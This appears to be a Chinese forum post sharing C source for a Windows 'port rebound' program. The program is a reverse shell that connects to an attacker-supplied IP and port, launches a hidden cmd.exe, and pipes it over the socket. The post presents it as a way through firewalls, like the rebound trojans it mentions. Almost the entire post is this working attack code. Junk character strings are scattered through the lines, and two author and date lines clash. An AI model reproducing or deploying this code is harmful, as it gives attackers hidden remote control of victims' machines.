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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wKk 3)@il  
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/* ============================== 0AK?{y U  
Rebound port in Windows NT jQ_dw\ {0  
By wind,2006/7 uZ\wwYY#M  
===============================*/ ^E$(1><-a  
#include sK@Y!oF}\  
#include T2DF'f3A  
"[*S?QO(L  
#pragma comment(lib,"wsock32.lib") /WgPXEB  
=Y &9 qt  
void OutputShell(); ?aFr8i:)M  
SOCKET sClient; N^ h |h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '7Mep ]  
t/KcXM  
void main(int argc,char **argv) Ak5[PBbW  
{ d&[iEU  
WSADATA stWsaData; AozmO  
int nRet; @sw9A93A  
SOCKADDR_IN stSaiClient,stSaiServer; X!o[RJY  
_BG8/"h32  
if(argc != 3) &so-O90  
{ -RG8<bI,  
printf("Useage:\n\rRebound DestIP DestPort\n"); P>*Fj4 Z~  
return; 5^i.;>(b  
} ,< @,gZru  
]<27Sw&yaG  
WSAStartup(MAKEWORD(2,2),&stWsaData); 17>5#JLP  
]?0{(\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nfv="t9e  
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stSaiClient.sin_family = AF_INET; \G$QNUU  
stSaiClient.sin_port = htons(0); @[MO,J&h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (9mbF%b  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ePp[m zg6  
{ SU%mmw ES3  
printf("Bind Socket Failed!\n"); #V.ZdLo(  
return; PXw| L  
} [ rQMD^:M$  
}#yU'#|d  
stSaiServer.sin_family = AF_INET; C=N! z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F:M>z=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6xH;: B)d  
X=v~^8M7%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5>k>L*5J  
{ wgY6D!Y   
printf("Connect Error!"); 9p <:=T  
return; EjWgaV  
} tT;8r8@  
OutputShell(); gjW\ XY  
} ,*/Pg 52?  
]SFWt/<  
void OutputShell() pw@`}cM=  
{ ]\A1mw-T  
char szBuff[1024]; w#*/y?"D  
SECURITY_ATTRIBUTES stSecurityAttributes; m8'@UzB  
OSVERSIONINFO stOsversionInfo; Y [W6Sc  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \UQ9MX _  
STARTUPINFO stStartupInfo; ;\N79)Gk  
char *szShell; /"=29sWB  
PROCESS_INFORMATION stProcessInformation; Bk,2WtVX  
unsigned long lBytesRead; q75ky1^1:  
(tepmcf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s(teQ\  
p-.Ri^p   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NX?}{'f  
stSecurityAttributes.lpSecurityDescriptor = 0; 5XDgs|8  
stSecurityAttributes.bInheritHandle = TRUE; ?TDvCL  
:^ n*V6.4  
YWEYHr;%^?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6`acg'sk>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o`idg[l.  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P{?;T5ap6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G'u|Q mb1  
stStartupInfo.wShowWindow = SW_HIDE; 'e F%  
stStartupInfo.hStdInput = hReadPipe; @B?FE\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _ w/_(k  
tl|ijR  
GetVersionEx(&stOsversionInfo); C>^,*7dS  
wb b*nL|P  
switch(stOsversionInfo.dwPlatformId) kP@H G<~  
{ IXnb]q.  
case 1: TN5>"? ?"  
szShell = "command.com"; oz LH]*  
break; eNtf#Rqym  
default: Tr~sieL  
szShell = "cmd.exe"; rWA6X DM7  
break; I?B,sl_w  
} 80C(H!^  
kVd5,Qd  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0Z"s_r}h  
jgG$'|s}  
send(sClient,szMsg,77,0); u^t$ cLIZ  
while(1) c&E]E(  
{ _ Hc%4I  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _BbvhWN&+  
if(lBytesRead) 0LdJZP  
{ <:">mV+/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =~&VdPZ  
send(sClient,szBuff,lBytesRead,0); )>V?+L5M  
} ;+a2\j+  
else msiu8E  
{ !}_b|  
lBytesRead=recv(sClient,szBuff,1024,0); &=X.*H%  
if(lBytesRead<=0) break; |jsb@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uAUp5XP|Z  
} S`0NPGn;@[  
} 28a$NP\KW  
sf$o(^P9\A  
return; #AShbl jm+  
}
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